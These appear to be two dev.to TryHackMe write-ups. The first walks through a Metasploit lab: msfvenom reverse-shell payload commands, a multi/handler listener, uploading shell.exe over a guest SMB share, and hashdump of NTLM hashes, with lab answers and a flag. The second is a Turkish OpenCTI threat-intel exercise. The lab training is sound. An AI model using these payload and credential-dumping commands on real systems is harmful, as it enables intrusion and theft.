&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feq30qn4qr1nbkndzs54r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feq30qn4qr1nbkndzs54r.png" alt=" " width="750" height="143"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: -f&lt;/p&gt;

&lt;p&gt;What flag specifies the payload to generate?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1w3wshd8aet1xac1208v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1w3wshd8aet1xac1208v.png" alt=" " width="750" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: -p&amp;nbsp;&lt;/p&gt;

&lt;p&gt;TASK 3&lt;/p&gt;

&lt;p&gt;Which payload type is self-contained and does not require a second download: staged or stageless?&lt;/p&gt;

&lt;p&gt;In the introduction to the text, "stageless payloads" are defined directly as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F78ob2udvvoci3sumucxs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F78ob2udvvoci3sumucxs.png" alt=" " width="750" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In contrast, it is noted that staged payloads operate in two stages and that the main component (stage) must be downloaded via the handler in the second stage:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8sikif2q34sr2xrvr8wz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8sikif2q34sr2xrvr8wz.png" alt=" " width="750" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;"The Trade-Offs" Table:&lt;br&gt;
The "Reliability" row of the table contains the following statement for "stageless":&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwoxvj7dqop0sihgmw0cr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwoxvj7dqop0sihgmw0cr.png" alt=" " width="750" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;"Generating Both with Msfvenom" Section:&lt;br&gt;
The comparison in the text clearly reiterates that the stageless payload does not require an additional download:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh2udb622eyn79eq4usgd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh2udb622eyn79eq4usgd.png" alt=" " width="750" height="283"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: stageless&lt;/p&gt;

&lt;p&gt;TASK 4&amp;nbsp;&lt;/p&gt;

&lt;p&gt;What output format would you use to generate a Linux binary executable?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fre70sw35do1d7p7fnx72.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fre70sw35do1d7p7fnx72.png" alt=" " width="750" height="61"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: elf&lt;/p&gt;

&lt;p&gt;Write the full msfvenom command to generate a stageless Windows x64 Meterpreter reverse TCP payload as an executable file named backdoor.exe, connecting back to 10.10.14.12 on port 5555.&lt;/p&gt;

&lt;p&gt;Answer: msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=5555 -f exe -o backdoor.exe&lt;/p&gt;

&lt;p&gt;TASK 5&lt;/p&gt;

&lt;p&gt;What is the name of the most well-known Metasploit encoder?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo5etjminw374dvx07ybz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo5etjminw374dvx07ybz.png" alt=" " width="750" height="101"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: x86/shikata_ga_nai&lt;/p&gt;

&lt;p&gt;What msfvenom flag specifies characters that must not appear in the payload output?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8z0p9vvjbq9vdqaulpax.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8z0p9vvjbq9vdqaulpax.png" alt=" " width="750" height="99"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: -b&lt;/p&gt;

&lt;p&gt;TASK 6&lt;/p&gt;

&lt;p&gt;What msfvenom flag injects a payload into an existing executable template?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxi047uy1xnkrpbskmejn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxi047uy1xnkrpbskmejn.png" alt=" " width="750" height="83"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: -x&lt;/p&gt;

&lt;p&gt;TASK 7&lt;/p&gt;

&lt;p&gt;What Metasploit module is used as a universal listener for catching reverse shell connections?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5zcci0ao3f5v7a049qzj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5zcci0ao3f5v7a049qzj.png" alt=" " width="750" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: exploit/multi/handler&lt;/p&gt;

&lt;p&gt;What handler option should you set to false if you want the handler to keep listening after the first session is established?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fliblkdp4457h3c9750uv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fliblkdp4457h3c9750uv.png" alt=" " width="750" height="151"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: ExitOnSession&lt;/p&gt;

&lt;p&gt;TASK 8&lt;/p&gt;

&lt;p&gt;Open the AttackBox terminal and enter your own IP address (ip a or tun0 / AttackBox IP) to generate the payload:&lt;/p&gt;

&lt;p&gt;msfvenom -p windows/x64/meterpreter_reverse_http LHOST=(Enter your ATTACKBOX_IP here) LPORT=80 -f exe -o shell.exe&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fki28auu27hsg27hgszoz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fki28auu27hsg27hgszoz.png" alt=" " width="750" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's set up the listener and upload the file to the target machine: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo3678zpj4ymrlyt2676q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo3678zpj4ymrlyt2676q.png" alt=" " width="725" height="102"&gt;&lt;/a&gt;&lt;br&gt;
Verification: You should see that the terminal line changes to &lt;code&gt;msf6 &amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In the console window that opens, enter the following commands in order:&lt;/p&gt;

&lt;p&gt;use exploit/multi/handler&amp;nbsp;&lt;/p&gt;

&lt;p&gt;set PAYLOAD windows/x64/meterpreter_reverse_http&lt;/p&gt;

&lt;p&gt;set LHOST 10.113.112.158&amp;nbsp;&lt;/p&gt;

&lt;p&gt;set LPORT 80&amp;nbsp;&lt;/p&gt;

&lt;p&gt;run -j&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft558te942pex0ho3v7ey.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft558te942pex0ho3v7ey.png" alt=" " width="750" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, Type the following command into the console&lt;/p&gt;

&lt;p&gt;use auxiliary/admin/smb/upload_file&lt;/p&gt;

&lt;p&gt;Verification: You should see that the command line has changed to msf6 auxiliary(admin/smb/upload_file) &amp;gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjim5p2q8gv6qy6qpuauy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjim5p2q8gv6qy6qpuauy.png" alt=" " width="750" height="102"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Enter the following commands in order (replace LAB_MACHINE_IP with the target machine's IP address provided on the TryHackMe page):&lt;/p&gt;

&lt;p&gt;set RHOSTS &amp;nbsp;&lt;/p&gt;

&lt;p&gt;set SMBUSER guest&amp;nbsp;&lt;/p&gt;

&lt;p&gt;set SMBSHARE public&amp;nbsp;&lt;/p&gt;

&lt;p&gt;et LPATH /root/shell.exe&amp;nbsp;&lt;/p&gt;

&lt;p&gt;set RPATH shell.exe&lt;/p&gt;

&lt;p&gt;run&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpsan1y68f2edg9y5kpow.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpsan1y68f2edg9y5kpow.png" alt=" " width="750" height="623"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To retrieve the hash and flag values from the questions, follow the steps below in order:&lt;/p&gt;

&lt;p&gt;Enter the following command in the console:&lt;/p&gt;

&lt;p&gt;sessions -i 1&lt;/p&gt;

&lt;p&gt;The command line will change to "meterpreter &amp;gt;".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8hz1y26x4x1a25ahk9b9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8hz1y26x4x1a25ahk9b9.png" alt=" " width="455" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Get Jim's NTLM Hash&lt;/p&gt;

&lt;p&gt;Type the following on that meterpreter &amp;gt; line:&lt;/p&gt;

&lt;p&gt;hashdump&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8vjoutv1oza7omb5jh3b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8vjoutv1oza7omb5jh3b.png" alt=" " width="750" height="78"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The line structure in the hashdump output is as follows:&lt;br&gt;
username&amp;nbsp;: RID&amp;nbsp;: LM_hash&amp;nbsp;: NTLM_hash&amp;nbsp;:::&lt;/p&gt;

&lt;p&gt;That's why we're looking for the NTLM_hash&lt;/p&gt;

&lt;p&gt;Answer: 1e3fe826df1e5af582a98c034cafa9f4&lt;/p&gt;

&lt;p&gt;Find the flag somewhere in C:\Users\Administrator. What's its value?&lt;/p&gt;

&lt;p&gt;Let's do a simple search with this command&lt;/p&gt;

&lt;p&gt;&lt;code&gt;search -d "C:\\Users\\Administrator" -f *flag*&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvqmn004vcqosrqmned3f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvqmn004vcqosrqmned3f.png" alt=" " width="750" height="185"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We found flag.txt in the Documents folder&lt;/p&gt;

&lt;p&gt;Let's wrap this up:&lt;br&gt;
cat C:\Users\Administrator\Documents\flag.txt&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkp58hkfcqonx52sfd7ar.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkp58hkfcqonx52sfd7ar.png" alt=" " width="750" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: THM{capst0ne_pwn3d_v1a_writable_share}&lt;/p&gt;

&lt;p&gt;Thank you for reading room is completed. ^^&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>metasploit</category>
      <category>lab</category>
    </item>
    <item>
      <title>Tryhackme Trooper Room Writeup</title>
      <dc:creator>Efe Kırbaş</dc:creator>
      <pubDate>Sat, 05 Sep 2026 07:33:40 +0000</pubDate>
      <link>https://dev.to/efek/tryhackme-trooper-room-writeup-n9n</link>
      <guid>https://dev.to/efek/tryhackme-trooper-room-writeup-n9n</guid>
      <description>&lt;p&gt;Görev: Unmasking APT X&lt;/p&gt;

&lt;p&gt;What is the name of the phishing sub-technique used by APT X for initial access? (APT X’in ilk erişim için kullandığı kimlik avı alt tekniğinin adı nedir?)&lt;/p&gt;

&lt;p&gt;Lab makinesine bize verilen bilgilerle giriş yaptıktan sonra sol menüden analyses basıyoruz ve karşımıza APT-X geliyor bunun içine giriyoruz.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flrtqzb5s8dmh3kcp3ty5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flrtqzb5s8dmh3kcp3ty5.png" alt=" " width="800" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;APT-X'in içine girdiğimizde knowledge kısmına geçiyoruz &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftyl06x4pjhxj96yvy55z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftyl06x4pjhxj96yvy55z.png" alt=" " width="799" height="345"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En köşede duran ilk erişim olduğu için cevabı hemen buluyoruz zaten saat olarak en erken bu&lt;/p&gt;

&lt;p&gt;Cevap: Spearphishing Attachment&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl58sod23hypfw1er1lx4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl58sod23hypfw1er1lx4.png" alt=" " width="800" height="497"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What is the name of the malware used by APT X? (APT X tarafından kullanılan kötü amaçlı yazılımın adı nedir?)&lt;/p&gt;

&lt;p&gt;Bu da aynı şekil zaten burda kendini belli ediyor.&lt;/p&gt;

&lt;p&gt;Cevap: USBferry&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv0q7qtz3auk59ixj02oo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv0q7qtz3auk59ixj02oo.png" alt=" " width="800" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What is the malware's STIX ID?&lt;/p&gt;

&lt;p&gt;Usbyferry penceresindeki bağlantı ikonuna tıklıyoruz&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4xfnuyshwp5dntjjl634.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4xfnuyshwp5dntjjl634.png" alt=" " width="507" height="242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bizden istediği stix idydi bu da usbferrynin sayfası açılınca en sağda köşede kendini belli etti. &lt;/p&gt;

&lt;p&gt;Cevap: malware--5d0ea014-1ce9-5d5c-bcc7-f625a07907d0&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhjvvjukmvyjkethpm8jh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhjvvjukmvyjkethpm8jh.png" alt=" " width="800" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the knowledge available for the above malware, what is the true identity of APT X? (Yukarıda bahsedilen kötü amaçlı yazılım hakkında mevcut bilgileri kullanarak, APT X’in gerçek kimliği nedir?)&lt;/p&gt;

&lt;p&gt;Bunun cevabıda usbferrynin (kötü amaçlı yazılımın) descinde var&lt;/p&gt;

&lt;p&gt;Cevap: Tropic Trooper&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbhivvj1hdvh4vdvioy1m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbhivvj1hdvh4vdvioy1m.png" alt=" " width="500" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How many attack patterns are associated with the target APT? (Hedef APT ile ilişkili kaç tane saldırı modeli bulunmaktadır?)&lt;/p&gt;

&lt;p&gt;Şimdi gerçek kimlikle devam edicez o yüzden OpenCTI arama çubuğuna Tropic Trooper yazdık ve ilk çıkana tıklayıp knowledgeye geçtik 40 taneymiş&lt;/p&gt;

&lt;p&gt;Cevap: 40&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgm5crs7tqrhs7b98sszy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgm5crs7tqrhs7b98sszy.png" alt=" " width="799" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbfezzdhprj2sbaso7x5q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbfezzdhprj2sbaso7x5q.png" alt=" " width="799" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Which Microsoft Exchange RCE vulnerability has the attacker been witnessed using? (Saldırganın hangi Microsoft Exchange RCE güvenlik açığını kullandığı gözlemlenmiştir?)&lt;/p&gt;

&lt;p&gt;Bunun için aynı sayfada yani knowledgede aşağı kaydırıp timeline a geliyoruz. Bir kaç cve var remote code yazan tek CVE-2021-34473 var o yüzden&lt;/p&gt;

&lt;p&gt;Cevap: CVE-2021-34473&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcy98mhi9k01q0czkk3mo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcy98mhi9k01q0czkk3mo.png" alt=" " width="800" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What is the name of the command-line tool linked to the APT? (APT ile bağlantılı komut satırı aracının adı nedir?)&lt;/p&gt;

&lt;p&gt;Tool dediği için sağ menüden direk tools basıyoruz.&lt;/p&gt;

&lt;p&gt;Tek BITSAdmin var &lt;/p&gt;

&lt;p&gt;Cevap: BITSAdmin&lt;/p&gt;

